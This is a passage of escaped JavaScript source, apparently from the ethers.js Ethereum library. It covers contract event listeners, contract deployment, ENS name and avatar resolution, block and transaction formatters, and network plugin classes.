this.interface, foundFragment);\n }\n catch (error) {\n return new UndecodedEventLog(log, error);\n }\n }\n return new Log(log, provider);\n });\n }\n /**\n * Add an event %%listener%% for the %%event%%.\n */\n async on(event, listener) {\n const sub = await getSub(this, \"on\", event);\n sub.listeners.push({ listener, once: false });\n sub.start();\n return this;\n }\n /**\n * Add an event %%listener%% for the %%event%%, but remove the listener\n * after it is fired once.\n */\n async once(event, listener) {\n const sub = await getSub(this, \"once\", event);\n sub.listeners.push({ listener, once: true });\n sub.start();\n return this;\n }\n /**\n * Emit an %%event%% calling all listeners with %%args%%.\n *\n * Resolves to ``true`` if any listeners were called.\n */\n async emit(event, ...args) {\n return await emit(this, event, args, null);\n }\n /**\n * Resolves to the number of listeners of %%event%% or the total number\n * of listeners if unspecified.\n */\n async listenerCount(event) {\n if (event) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return 0;\n }\n return sub.listeners.length;\n }\n const { subs } = getInternal(this);\n let total = 0;\n for (const { listeners } of subs.values()) {\n total += listeners.length;\n }\n return total;\n }\n /**\n * Resolves to the listeners subscribed to %%event%% or all listeners\n * if unspecified.\n */\n async listeners(event) {\n if (event) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return [];\n }\n return sub.listeners.map(({ listener }) => listener);\n }\n const { subs } = getInternal(this);\n let result = [];\n for (const { listeners } of subs.values()) {\n result = result.concat(listeners.map(({ listener }) => listener));\n }\n return result;\n }\n /**\n * Remove the %%listener%% from the listeners for %%event%% or remove\n * all listeners if unspecified.\n */\n async off(event, listener) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return this;\n }\n if (listener) {\n const index = sub.listeners.map(({ listener }) => listener).indexOf(listener);\n if (index >= 0) {\n sub.listeners.splice(index, 1);\n }\n }\n if (listener == null || sub.listeners.length === 0) {\n sub.stop();\n getInternal(this).subs.delete(sub.tag);\n }\n return this;\n }\n /**\n * Remove all the listeners for %%event%% or remove all listeners if\n * unspecified.\n */\n async removeAllListeners(event) {\n if (event) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return this;\n }\n sub.stop();\n getInternal(this).subs.delete(sub.tag);\n }\n else {\n const { subs } = getInternal(this);\n for (const { tag, stop } of subs.values()) {\n stop();\n subs.delete(tag);\n }\n }\n return this;\n }\n /**\n * Alias for [on].\n */\n async addListener(event, listener) {\n return await this.on(event, listener);\n }\n /**\n * Alias for [off].\n */\n async removeListener(event, listener) {\n return await this.off(event, listener);\n }\n /**\n * Create a new Class for the %%abi%%.\n */\n static buildClass(abi) {\n class CustomContract extends BaseContract {\n constructor(address, runner = null) {\n super(address, abi, runner);\n }\n }\n return CustomContract;\n }\n ;\n /**\n * Create a new BaseContract with a specified Interface.\n */\n static from(target, abi, runner) {\n if (runner == null) {\n runner = null;\n }\n const contract = new this(target, abi, runner);\n return contract;\n }\n}\nfunction _ContractBase() {\n return BaseContract;\n}\n/**\n * A [[BaseContract]] with no type guards on its methods or events.\n */\nexport class Contract extends _ContractBase() {\n}\n//# sourceMappingURL=contract.js.map","import { Interface } from \"../abi/index.js\";\nimport { getCreateAddress } from \"../address/index.js\";\nimport { concat, defineProperties, getBytes, hexlify, assert, assertArgument } from \"../utils/index.js\";\nimport { BaseContract, copyOverrides, resolveArgs } from \"./contract.js\";\n// A = Arguments to the constructor\n// I = Interface of deployed contracts\n/**\n * A **ContractFactory** is used to deploy a Contract to the blockchain.\n */\nexport class ContractFactory {\n /**\n * The Contract Interface.\n */\n interface;\n /**\n * The Contract deployment bytecode. Often called the initcode.\n */\n bytecode;\n /**\n * The ContractRunner to deploy the Contract as.\n */\n runner;\n /**\n * Create a new **ContractFactory** with %%abi%% and %%bytecode%%,\n * optionally connected to %%runner%%.\n *\n * The %%bytecode%% may be the ``bytecode`` property within the\n * standard Solidity JSON output.\n */\n constructor(abi, bytecode, runner) {\n const iface = Interface.from(abi);\n // Dereference Solidity bytecode objects and allow a missing `0x`-prefix\n if (bytecode instanceof Uint8Array) {\n bytecode = hexlify(getBytes(bytecode));\n }\n else {\n if (typeof (bytecode) === \"object\") {\n bytecode = bytecode.object;\n }\n if (!bytecode.startsWith(\"0x\")) {\n bytecode = \"0x\" + bytecode;\n }\n bytecode = hexlify(getBytes(bytecode));\n }\n defineProperties(this, {\n bytecode, interface: iface, runner: (runner || null)\n });\n }\n attach(target) {\n return new BaseContract(target, this.interface, this.runner);\n }\n /**\n * Resolves to the transaction to deploy the contract, passing %%args%%\n * into the constructor.\n */\n async getDeployTransaction(...args) {\n let overrides = {};\n const fragment = this.interface.deploy;\n if (fragment.inputs.length + 1 === args.length) {\n overrides = await copyOverrides(args.pop());\n }\n if (fragment.inputs.length !== args.length) {\n throw new Error(\"incorrect number of arguments to constructor\");\n }\n const resolvedArgs = await resolveArgs(this.runner, fragment.inputs, args);\n const data = concat([this.bytecode, this.interface.encodeDeploy(resolvedArgs)]);\n return Object.assign({}, overrides, { data });\n }\n /**\n * Resolves to the Contract deployed by passing %%args%% into the\n * constructor.\n *\n * This will resolve to the Contract before it has been deployed to the\n * network, so the [[BaseContract-waitForDeployment]] should be used before\n * sending any transactions to it.\n */\n async deploy(...args) {\n const tx = await this.getDeployTransaction(...args);\n assert(this.runner && typeof (this.runner.sendTransaction) === \"function\", \"factory runner does not support sending transactions\", \"UNSUPPORTED_OPERATION\", {\n operation: \"sendTransaction\"\n });\n const sentTx = await this.runner.sendTransaction(tx);\n const address = getCreateAddress(sentTx);\n return new BaseContract(address, this.interface, this.runner, sentTx);\n }\n /**\n * Return a new **ContractFactory** with the same ABI and bytecode,\n * but connected to %%runner%%.\n */\n connect(runner) {\n return new ContractFactory(this.interface, this.bytecode, runner);\n }\n /**\n * Create a new **ContractFactory** from the standard Solidity JSON output.\n */\n static fromSolidity(output, runner) {\n assertArgument(output != null, \"bad compiler output\", \"output\", output);\n if (typeof (output) === \"string\") {\n output = JSON.parse(output);\n }\n const abi = output.abi;\n let bytecode = \"\";\n if (output.bytecode) {\n bytecode = output.bytecode;\n }\n else if (output.evm && output.evm.bytecode) {\n bytecode = output.evm.bytecode;\n }\n return new this(abi, bytecode, runner);\n }\n}\n//# sourceMappingURL=factory.js.map","/**\n * ENS is a service which allows easy-to-remember names to map to\n * network addresses.\n *\n * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver]\n */\nimport { getAddress } from \"../address/index.js\";\nimport { ZeroAddress } from \"../constants/index.js\";\nimport { Contract } from \"../contract/index.js\";\nimport { dnsEncode, namehash } from \"../hash/index.js\";\nimport { hexlify, isHexString, toBeHex, defineProperties, encodeBase58, assert, assertArgument, isError, FetchRequest } from \"../utils/index.js\";\n// @TODO: This should use the fetch-data:ipfs gateway\n// Trim off the ipfs:// prefix and return the default gateway URL\nfunction getIpfsLink(link) {\n if (link.match(/^ipfs:\\/\\/ipfs\\//i)) {\n link = link.substring(12);\n }\n else if (link.match(/^ipfs:\\/\\//i)) {\n link = link.substring(7);\n }\n else {\n assertArgument(false, \"unsupported IPFS format\", \"link\", link);\n }\n return `https:/\\/gateway.ipfs.io/ipfs/${link}`;\n}\n;\n;\n/**\n * A provider plugin super-class for processing multicoin address types.\n */\nexport class MulticoinProviderPlugin {\n /**\n * The name.\n */\n name;\n /**\n * Creates a new **MulticoinProviderPluing** for %%name%%.\n */\n constructor(name) {\n defineProperties(this, { name });\n }\n connect(proivder) {\n return this;\n }\n /**\n * Returns ``true`` if %%coinType%% is supported by this plugin.\n */\n supportsCoinType(coinType) {\n return false;\n }\n /**\n * Resolves to the encoded %%address%% for %%coinType%%.\n */\n async encodeAddress(coinType, address) {\n throw new Error(\"unsupported coin\");\n }\n /**\n * Resolves to the decoded %%data%% for %%coinType%%.\n */\n async decodeAddress(coinType, data) {\n throw new Error(\"unsupported coin\");\n }\n}\nconst BasicMulticoinPluginId = \"org.ethers.plugins.provider.BasicMulticoin\";\n/**\n * A **BasicMulticoinProviderPlugin** provides service for common\n * coin types, which do not require additional libraries to encode or\n * decode.\n */\nexport class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin {\n /**\n * Creates a new **BasicMulticoinProviderPlugin**.\n */\n constructor() {\n super(BasicMulticoinPluginId);\n }\n}\nconst matcherIpfs = new RegExp(\"^(ipfs):/\\/(.*)$\", \"i\");\nconst matchers = [\n new RegExp(\"^(https):/\\/(.*)$\", \"i\"),\n new RegExp(\"^(data):(.*)$\", \"i\"),\n matcherIpfs,\n new RegExp(\"^eip155:[0-9]+/(erc[0-9]+):(.*)$\", \"i\"),\n];\n/**\n * A connected object to a resolved ENS name resolver, which can be\n * used to query additional details.\n */\nexport class EnsResolver {\n /**\n * The connected provider.\n */\n provider;\n /**\n * The address of the resolver.\n */\n address;\n /**\n * The name this resolver was resolved against.\n */\n name;\n // For EIP-2544 names, the ancestor that provided the resolver\n #supports2544;\n #resolver;\n constructor(provider, address, name) {\n defineProperties(this, { provider, address, name });\n this.#supports2544 = null;\n this.#resolver = new Contract(address, [\n \"function supportsInterface(bytes4) view returns (bool)\",\n \"function resolve(bytes, bytes) view returns (bytes)\",\n \"function addr(bytes32) view returns (address)\",\n \"function addr(bytes32, uint) view returns (bytes)\",\n \"function text(bytes32, string) view returns (string)\",\n \"function contenthash(bytes32) view returns (bytes)\",\n ], provider);\n }\n /**\n * Resolves to true if the resolver supports wildcard resolution.\n */\n async supportsWildcard() {\n if (this.#supports2544 == null) {\n this.#supports2544 = (async () => {\n try {\n return await this.#resolver.supportsInterface(\"0x9061b923\");\n }\n catch (error) {\n // Wildcard resolvers must understand supportsInterface\n // and return true.\n if (isError(error, \"CALL_EXCEPTION\")) {\n return false;\n }\n // Let future attempts try again...\n this.#supports2544 = null;\n throw error;\n }\n })();\n }\n return await this.#supports2544;\n }\n async #fetch(funcName, params) {\n params = (params || []).slice();\n const iface = this.#resolver.interface;\n // The first parameters is always the nodehash\n params.unshift(namehash(this.name));\n let fragment = null;\n if (await this.supportsWildcard()) {\n fragment = iface.getFunction(funcName);\n assert(fragment, \"missing fragment\", \"UNKNOWN_ERROR\", {\n info: { funcName }\n });\n params = [\n dnsEncode(this.name, 255),\n iface.encodeFunctionData(fragment, params)\n ];\n funcName = \"resolve(bytes,bytes)\";\n }\n params.push({\n enableCcipRead: true\n });\n try {\n const result = await this.#resolver[funcName](...params);\n if (fragment) {\n return iface.decodeFunctionResult(fragment, result)[0];\n }\n return result;\n }\n catch (error) {\n if (!isError(error, \"CALL_EXCEPTION\")) {\n throw error;\n }\n }\n return null;\n }\n /**\n * Resolves to the address for %%coinType%% or null if the\n * provided %%coinType%% has not been configured.\n */\n async getAddress(coinType) {\n if (coinType == null) {\n coinType = 60;\n }\n if (coinType === 60) {\n try {\n const result = await this.#fetch(\"addr(bytes32)\");\n // No address\n if (result == null || result === ZeroAddress) {\n return null;\n }\n return result;\n }\n catch (error) {\n if (isError(error, \"CALL_EXCEPTION\")) {\n return null;\n }\n throw error;\n }\n }\n // Try decoding its EVM canonical chain as an EVM chain address first\n if (coinType >= 0 && coinType < 0x80000000) {\n let ethCoinType = coinType + 0x80000000;\n const data = await this.#fetch(\"addr(bytes32,uint)\", [ethCoinType]);\n if (isHexString(data, 20)) {\n return getAddress(data);\n }\n }\n let coinPlugin = null;\n for (const plugin of this.provider.plugins) {\n if (!(plugin instanceof MulticoinProviderPlugin)) {\n continue;\n }\n if (plugin.supportsCoinType(coinType)) {\n coinPlugin = plugin;\n break;\n }\n }\n if (coinPlugin == null) {\n return null;\n }\n // keccak256(\"addr(bytes32,uint256\")\n const data = await this.#fetch(\"addr(bytes32,uint)\", [coinType]);\n // No address\n if (data == null || data === \"0x\") {\n return null;\n }\n // Compute the address\n const address = await coinPlugin.decodeAddress(coinType, data);\n if (address != null) {\n return address;\n }\n assert(false, `invalid coin data`, \"UNSUPPORTED_OPERATION\", {\n operation: `getAddress(${coinType})`,\n info: { coinType, data }\n });\n }\n /**\n * Resolves to the EIP-634 text record for %%key%%, or ``null``\n * if unconfigured.\n */\n async getText(key) {\n const data = await this.#fetch(\"text(bytes32,string)\", [key]);\n if (data == null || data === \"0x\") {\n return null;\n }\n return data;\n }\n /**\n * Rsolves to the content-hash or ``null`` if unconfigured.\n */\n async getContentHash() {\n // keccak256(\"contenthash()\")\n const data = await this.#fetch(\"contenthash(bytes32)\");\n // No contenthash\n if (data == null || data === \"0x\") {\n return null;\n }\n // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key)\n const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);\n if (ipfs) {\n const scheme = (ipfs[1] === \"e3010170\") ? \"ipfs\" : \"ipns\";\n const length = parseInt(ipfs[4], 16);\n if (ipfs[5].length === length * 2) {\n return `${scheme}:/\\/${encodeBase58(\"0x\" + ipfs[2])}`;\n }\n }\n // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32)\n const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/);\n if (swarm && swarm[1].length === 64) {\n return `bzz:/\\/${swarm[1]}`;\n }\n assert(false, `invalid or unsupported content hash data`, \"UNSUPPORTED_OPERATION\", {\n operation: \"getContentHash()\",\n info: { data }\n });\n }\n /**\n * Resolves to the avatar url or ``null`` if the avatar is either\n * unconfigured or incorrectly configured (e.g. references an NFT\n * not owned by the address).\n *\n * If diagnosing issues with configurations, the [[_getAvatar]]\n * method may be useful.\n */\n async getAvatar() {\n const avatar = await this._getAvatar();\n return avatar.url;\n }\n /**\n * When resolving an avatar, there are many steps involved, such\n * fetching metadata and possibly validating ownership of an\n * NFT.\n *\n * This method can be used to examine each step and the value it\n * was working from.\n */\n async _getAvatar() {\n const linkage = [{ type: \"name\", value: this.name }];\n try {\n // test data for ricmoo.eth\n //const avatar = \"eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233\";\n const avatar = await this.getText(\"avatar\");\n if (avatar == null) {\n linkage.push({ type: \"!avatar\", value: \"\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"avatar\", value: avatar });\n for (let i = 0; i < matchers.length; i++) {\n const match = avatar.match(matchers[i]);\n if (match == null) {\n continue;\n }\n const scheme = match[1].toLowerCase();\n switch (scheme) {\n case \"https\":\n case \"data\":\n linkage.push({ type: \"url\", value: avatar });\n return { linkage, url: avatar };\n case \"ipfs\": {\n const url = getIpfsLink(avatar);\n linkage.push({ type: \"ipfs\", value: avatar });\n linkage.push({ type: \"url\", value: url });\n return { linkage, url };\n }\n case \"erc721\":\n case \"erc1155\": {\n // Depending on the ERC type, use tokenURI(uint256) or url(uint256)\n const selector = (scheme === \"erc721\") ? \"tokenURI(uint256)\" : \"uri(uint256)\";\n linkage.push({ type: scheme, value: avatar });\n // The owner of this name\n const owner = await this.getAddress();\n if (owner == null) {\n linkage.push({ type: \"!owner\", value: \"\" });\n return { url: null, linkage };\n }\n const comps = (match[2] || \"\").split(\"/\");\n if (comps.length !== 2) {\n linkage.push({ type: `!${scheme}caip`, value: (match[2] || \"\") });\n return { url: null, linkage };\n }\n const tokenId = comps[1];\n const contract = new Contract(comps[0], [\n // ERC-721\n \"function tokenURI(uint) view returns (string)\",\n \"function ownerOf(uint) view returns (address)\",\n // ERC-1155\n \"function uri(uint) view returns (string)\",\n \"function balanceOf(address, uint256) view returns (uint)\"\n ], this.provider);\n // Check that this account owns the token\n if (scheme === \"erc721\") {\n const tokenOwner = await contract.ownerOf(tokenId);\n if (owner !== tokenOwner) {\n linkage.push({ type: \"!owner\", value: tokenOwner });\n return { url: null, linkage };\n }\n linkage.push({ type: \"owner\", value: tokenOwner });\n }\n else if (scheme === \"erc1155\") {\n const balance = await contract.balanceOf(owner, tokenId);\n if (!balance) {\n linkage.push({ type: \"!balance\", value: \"0\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"balance\", value: balance.toString() });\n }\n // Call the token contract for the metadata URL\n let metadataUrl = await contract[selector](tokenId);\n if (metadataUrl == null || metadataUrl === \"0x\") {\n linkage.push({ type: \"!metadata-url\", value: \"\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"metadata-url-base\", value: metadataUrl });\n // ERC-1155 allows a generic {id} in the URL\n if (scheme === \"erc1155\") {\n metadataUrl = metadataUrl.replace(\"{id}\", toBeHex(tokenId, 32).substring(2));\n linkage.push({ type: \"metadata-url-expanded\", value: metadataUrl });\n }\n // Transform IPFS metadata links\n if (metadataUrl.match(/^ipfs:/i)) {\n metadataUrl = getIpfsLink(metadataUrl);\n }\n linkage.push({ type: \"metadata-url\", value: metadataUrl });\n // Get the token metadata\n let metadata = {};\n const response = await (new FetchRequest(metadataUrl)).send();\n response.assertOk();\n try {\n metadata = response.bodyJson;\n }\n catch (error) {\n try {\n linkage.push({ type: \"!metadata\", value: response.bodyText });\n }\n catch (error) {\n const bytes = response.body;\n if (bytes) {\n linkage.push({ type: \"!metadata\", value: hexlify(bytes) });\n }\n return { url: null, linkage };\n }\n return { url: null, linkage };\n }\n if (!metadata) {\n linkage.push({ type: \"!metadata\", value: \"\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"metadata\", value: JSON.stringify(metadata) });\n // Pull the image URL out\n let imageUrl = metadata.image;\n if (typeof (imageUrl) !== \"string\") {\n linkage.push({ type: \"!imageUrl\", value: \"\" });\n return { url: null, linkage };\n }\n if (imageUrl.match(/^(https:\\/\\/|data:)/i)) {\n // Allow\n }\n else {\n // Transform IPFS link to gateway\n const ipfs = imageUrl.match(matcherIpfs);\n if (ipfs == null) {\n linkage.push({ type: \"!imageUrl-ipfs\", value: imageUrl });\n return { url: null, linkage };\n }\n linkage.push({ type: \"imageUrl-ipfs\", value: imageUrl });\n imageUrl = getIpfsLink(imageUrl);\n }\n linkage.push({ type: \"url\", value: imageUrl });\n return { linkage, url: imageUrl };\n }\n }\n }\n }\n catch (error) { }\n return { linkage, url: null };\n }\n static async getEnsAddress(provider) {\n const network = await provider.getNetwork();\n const ensPlugin = network.getPlugin(\"org.ethers.plugins.network.Ens\");\n // No ENS...\n assert(ensPlugin, \"network does not support ENS\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getEnsAddress\", info: { network }\n });\n return ensPlugin.address;\n }\n static async #getResolver(provider, name) {\n const ensAddr = await EnsResolver.getEnsAddress(provider);\n try {\n const contract = new Contract(ensAddr, [\n \"function resolver(bytes32) view returns (address)\"\n ], provider);\n const addr = await contract.resolver(namehash(name), {\n enableCcipRead: true\n });\n if (addr === ZeroAddress) {\n return null;\n }\n return addr;\n }\n catch (error) {\n // ENS registry cannot throw errors on resolver(bytes32),\n // so probably a link error\n throw error;\n }\n return null;\n }\n /**\n * Resolve to the ENS resolver for %%name%% using %%provider%% or\n * ``null`` if unconfigured.\n */\n static async fromName(provider, name) {\n let currentName = name;\n while (true) {\n if (currentName === \"\" || currentName === \".\") {\n return null;\n }\n // Optimization since the eth node cannot change and does\n // not have a wildcard resolver\n if (name !== \"eth\" && currentName === \"eth\") {\n return null;\n }\n // Check the current node for a resolver\n const addr = await EnsResolver.#getResolver(provider, currentName);\n // Found a resolver!\n if (addr != null) {\n const resolver = new EnsResolver(provider, addr, name);\n // Legacy resolver found, using EIP-2544 so it isn't safe to use\n if (currentName !== name && !(await resolver.supportsWildcard())) {\n return null;\n }\n return resolver;\n }\n // Get the parent node\n currentName = currentName.split(\".\").slice(1).join(\".\");\n }\n }\n}\n//# sourceMappingURL=ens-resolver.js.map","/**\n * @_ignore\n */\nimport { getAddress, getCreateAddress } from \"../address/index.js\";\nimport { Signature } from \"../crypto/index.js\";\nimport { accessListify } from \"../transaction/index.js\";\nimport { getBigInt, getNumber, hexlify, isHexString, zeroPadValue, assert, assertArgument } from \"../utils/index.js\";\nconst BN_0 = BigInt(0);\nexport function allowNull(format, nullValue) {\n return (function (value) {\n if (value == null) {\n return nullValue;\n }\n return format(value);\n });\n}\nexport function arrayOf(format, allowNull) {\n return ((array) => {\n if (allowNull && array == null) {\n return null;\n }\n if (!Array.isArray(array)) {\n throw new Error(\"not an array\");\n }\n return array.map((i) => format(i));\n });\n}\n// Requires an object which matches a fleet of other formatters\n// Any FormatFunc may return `undefined` to have the value omitted\n// from the result object. Calls preserve `this`.\nexport function object(format, altNames) {\n return ((value) => {\n const result = {};\n for (const key in format) {\n let srcKey = key;\n if (altNames && key in altNames && !(srcKey in value)) {\n for (const altKey of altNames[key]) {\n if (altKey in value) {\n srcKey = altKey;\n break;\n }\n }\n }\n try {\n const nv = format[key](value[srcKey]);\n if (nv !== undefined) {\n result[key] = nv;\n }\n }\n catch (error) {\n const message = (error instanceof Error) ? error.message : \"not-an-error\";\n assert(false, `invalid value for value.${key} (${message})`, \"BAD_DATA\", { value });\n }\n }\n return result;\n });\n}\nexport function formatBoolean(value) {\n switch (value) {\n case true:\n case \"true\":\n return true;\n case false:\n case \"false\":\n return false;\n }\n assertArgument(false, `invalid boolean; ${JSON.stringify(value)}`, \"value\", value);\n}\nexport function formatData(value) {\n assertArgument(isHexString(value, true), \"invalid data\", \"value\", value);\n return value;\n}\nexport function formatHash(value) {\n assertArgument(isHexString(value, 32), \"invalid hash\", \"value\", value);\n return value;\n}\nexport function formatUint256(value) {\n if (!isHexString(value)) {\n throw new Error(\"invalid uint256\");\n }\n return zeroPadValue(value, 32);\n}\nconst _formatLog = object({\n address: getAddress,\n blockHash: formatHash,\n blockNumber: getNumber,\n data: formatData,\n index: getNumber,\n removed: allowNull(formatBoolean, false),\n topics: arrayOf(formatHash),\n transactionHash: formatHash,\n transactionIndex: getNumber,\n}, {\n index: [\"logIndex\"]\n});\nexport function formatLog(value) {\n return _formatLog(value);\n}\nconst _formatBlock = object({\n hash: allowNull(formatHash),\n parentHash: formatHash,\n parentBeaconBlockRoot: allowNull(formatHash, null),\n number: getNumber,\n timestamp: getNumber,\n nonce: allowNull(formatData),\n difficulty: getBigInt,\n gasLimit: getBigInt,\n gasUsed: getBigInt,\n stateRoot: allowNull(formatHash, null),\n receiptsRoot: allowNull(formatHash, null),\n blobGasUsed: allowNull(getBigInt, null),\n excessBlobGas: allowNull(getBigInt, null),\n miner: allowNull(getAddress),\n prevRandao: allowNull(formatHash, null),\n extraData: formatData,\n baseFeePerGas: allowNull(getBigInt)\n}, {\n prevRandao: [\"mixHash\"]\n});\nexport function formatBlock(value) {\n const result = _formatBlock(value);\n result.transactions = value.transactions.map((tx) => {\n if (typeof (tx) === \"string\") {\n return tx;\n }\n return formatTransactionResponse(tx);\n });\n return result;\n}\nconst _formatReceiptLog = object({\n transactionIndex: getNumber,\n blockNumber: getNumber,\n transactionHash: formatHash,\n address: getAddress,\n topics: arrayOf(formatHash),\n data: formatData,\n index: getNumber,\n blockHash: formatHash,\n}, {\n index: [\"logIndex\"]\n});\nexport function formatReceiptLog(value) {\n return _formatReceiptLog(value);\n}\nconst _formatTransactionReceipt = object({\n to: allowNull(getAddress, null),\n from: allowNull(getAddress, null),\n contractAddress: allowNull(getAddress, null),\n // should be allowNull(hash), but broken-EIP-658 support is handled in receipt\n index: getNumber,\n root: allowNull(hexlify),\n gasUsed: getBigInt,\n blobGasUsed: allowNull(getBigInt, null),\n logsBloom: allowNull(formatData),\n blockHash: formatHash,\n hash: formatHash,\n logs: arrayOf(formatReceiptLog),\n blockNumber: getNumber,\n //confirmations: allowNull(getNumber, null),\n cumulativeGasUsed: getBigInt,\n effectiveGasPrice: allowNull(getBigInt),\n blobGasPrice: allowNull(getBigInt, null),\n status: allowNull(getNumber),\n type: allowNull(getNumber, 0)\n}, {\n effectiveGasPrice: [\"gasPrice\"],\n hash: [\"transactionHash\"],\n index: [\"transactionIndex\"],\n});\nexport function formatTransactionReceipt(value) {\n return _formatTransactionReceipt(value);\n}\nexport function formatTransactionResponse(value) {\n // Some clients (TestRPC) do strange things like return 0x0 for the\n // 0 address; correct this to be a real address\n if (value.to && getBigInt(value.to) === BN_0) {\n value.to = \"0x0000000000000000000000000000000000000000\";\n }\n const result = object({\n hash: formatHash,\n // Some nodes do not return this, usually test nodes (like Ganache)\n index: allowNull(getNumber, undefined),\n type: (value) => {\n if (value === \"0x\" || value == null) {\n return 0;\n }\n return getNumber(value);\n },\n accessList: allowNull(accessListify, null),\n blobVersionedHashes: allowNull(arrayOf(formatHash, true), null),\n authorizationList: allowNull(arrayOf((v) => {\n let sig;\n if (v.signature) {\n sig = v.signature;\n }\n else {\n let yParity = v.yParity;\n if (yParity === \"0x1b\") {\n yParity = 0;\n }\n else if (yParity === \"0x1c\") {\n yParity = 1;\n }\n sig = Object.assign({}, v, { yParity });\n }\n return {\n address: getAddress(v.address),\n chainId: getBigInt(v.chainId),\n nonce: getBigInt(v.nonce),\n signature: Signature.from(sig)\n };\n }, false), null),\n blockHash: allowNull(formatHash, null),\n blockNumber: allowNull(getNumber, null),\n transactionIndex: allowNull(getNumber, null),\n from: getAddress,\n // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set\n gasPrice: allowNull(getBigInt),\n maxPriorityFeePerGas: allowNull(getBigInt),\n maxFeePerGas: allowNull(getBigInt),\n maxFeePerBlobGas: allowNull(getBigInt, null),\n gasLimit: getBigInt,\n to: allowNull(getAddress, null),\n value: getBigInt,\n nonce: getNumber,\n data: formatData,\n creates: allowNull(getAddress, null),\n chainId: allowNull(getBigInt, null)\n }, {\n data: [\"input\"],\n gasLimit: [\"gas\"],\n index: [\"transactionIndex\"]\n })(value);\n // If to and creates are empty, populate the creates from the value\n if (result.to == null && result.creates == null) {\n result.creates = getCreateAddress(result);\n }\n // @TODO: Check fee data\n // Add an access list to supported transaction types\n if ((value.type === 1 || value.type === 2) && value.accessList == null) {\n result.accessList = [];\n }\n // Compute the signature\n if (value.signature) {\n result.signature = Signature.from(value.signature);\n }\n else {\n result.signature = Signature.from(value);\n }\n // Some backends omit ChainId on legacy transactions, but we can compute it\n if (result.chainId == null) {\n const chainId = result.signature.legacyChainId;\n if (chainId != null) {\n result.chainId = chainId;\n }\n }\n // @TODO: check chainID\n /*\n if (value.chainId != null) {\n let chainId = value.chainId;\n\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n\n result.chainId = chainId;\n\n } else {\n let chainId = value.networkId;\n\n // geth-etc returns chainId\n if (chainId == null && result.v == null) {\n chainId = value.chainId;\n }\n\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n\n if (typeof(chainId) !== \"number\" && result.v != null) {\n chainId = (result.v - 35) / 2;\n if (chainId < 0) { chainId = 0; }\n chainId = parseInt(chainId);\n }\n\n if (typeof(chainId) !== \"number\") { chainId = 0; }\n\n result.chainId = chainId;\n }\n */\n // 0x0000... should actually be null\n if (result.blockHash && getBigInt(result.blockHash) === BN_0) {\n result.blockHash = null;\n }\n return result;\n}\n//# sourceMappingURL=format.js.map","import { defineProperties } from \"../utils/properties.js\";\nimport { assertArgument } from \"../utils/index.js\";\nconst EnsAddress = \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\";\n/**\n * A **NetworkPlugin** provides additional functionality on a [[Network]].\n */\nexport class NetworkPlugin {\n /**\n * The name of the plugin.\n *\n * It is recommended to use reverse-domain-notation, which permits\n * unique names with a known authority as well as hierarchal entries.\n */\n name;\n /**\n * Creates a new **NetworkPlugin**.\n */\n constructor(name) {\n defineProperties(this, { name });\n }\n /**\n * Creates a copy of this plugin.\n */\n clone() {\n return new NetworkPlugin(this.name);\n }\n}\n/**\n * A **GasCostPlugin** allows a network to provide alternative values when\n * computing the intrinsic gas required for a transaction.\n */\nexport class GasCostPlugin extends NetworkPlugin {\n /**\n * The block number to treat these values as valid from.\n *\n * This allows a hardfork to have updated values included as well as\n * mulutiple hardforks to be supported.\n */\n effectiveBlock;\n /**\n * The transactions base fee.\n */\n txBase;\n /**\n * The fee for creating a new account.\n */\n txCreate;\n /**\n * The fee per zero-byte in the data.\n */\n txDataZero;\n /**\n * The fee per non-zero-byte in the data.\n */\n txDataNonzero;\n /**\n * The fee per storage key in the [[link-eip-2930]] access list.\n */\n txAccessListStorageKey;\n /**\n * The fee per address in the [[link-eip-2930]] access list.\n */\n txAccessListAddress;\n /**\n * Creates a new GasCostPlugin from %%effectiveBlock%% until the\n * latest block or another GasCostPlugin supercedes that block number,\n * with the associated %%costs%%.\n */\n constructor(effectiveBlock, costs) {\n if (effectiveBlock == null) {\n effectiveBlock = 0;\n }\n super(`org.ethers.network.plugins.GasCost#${(effectiveBlock || 0)}`);\n const props = { effectiveBlock };\n function set(name, nullish) {\n let value = (costs || {})[name];\n if (value == null) {\n value = nullish;\n }\n assertArgument(typeof (value) === \"number\", `invalud value for ${name}`, \"costs\", costs);\n props[name] = value;\n }\n set(\"txBase\", 21000);\n set(\"txCreate\", 32000);\n set(\"txDataZero\", 4);\n set(\"txDataNonzero\", 16);\n set(\"txAccessListStorageKey\", 1900);\n set(\"txAccessListAddress\", 2400);\n defineProperties(this, props);\n }\n clone() {\n return new GasCostPlugin(this.effectiveBlock, this);\n }\n}\n/**\n * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry\n * Contract address and the target network to use when using that\n * contract.\n *\n * Various testnets have their own instance of the contract to use, but\n * in general, the mainnet instance supports multi-chain addresses and\n * should be used.\n */\nexport class EnsPlugin extends NetworkPlugin {\n /**\n * The ENS Registrty Contract address.\n */\n address;\n /**\n * The chain ID that the ENS contract lives on.\n */\n targetNetwork;\n /**\n * Creates a new **EnsPlugin** connected to %%address%% on the\n * %%targetNetwork%%. The default ENS address and mainnet is used\n * if unspecified.\n */\n constructor(address, targetNetwork) {\n super(\"org.ethers.plugins.network.Ens\");\n defineProperties(this, {\n address: (address || EnsAddress),\n targetNetwork: ((targetNetwork == null) ? 1 : targetNetwork)\n });\n }\n clone() {\n return new 